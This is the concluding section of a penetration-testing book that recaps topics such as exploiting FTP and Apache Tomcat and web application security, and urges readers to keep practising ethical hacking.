In this book, we’ve aimed to give you hands-on, practical experience with a wide range of tools, techniques, and scripts. You’ve seen how automating tasks can not only save time but also help eliminate human error. From exploiting weak services like FTP and Apache Tomcat to navigating the complexities of web application security, you’ve developed a well-rounded understanding of penetration testing workflows.

As you move forward, remember that the field of cybersecurity is always changing. New tools, vulnerabilities, and defenses are emerging constantly, and it’s up to you to stay ahead of the curve. Continue to practice, build your own scripts, and explore more complex scenarios. Most importantly, keep in mind that penetration testing is about more than just finding weaknesses; it’s about understanding systems and learning how to secure them.

The skills you’ve gained will enable you to execute thorough, effective penetration tests, and your ability to script and automate will give you a significant edge in any environment. Keep pushing your limits, stay curious, and never stop learning.

Now that you’ve completed this book, you’re equipped with the tools and knowledge to start or enhance your career in ethical hacking. Good luck, and happy hacking!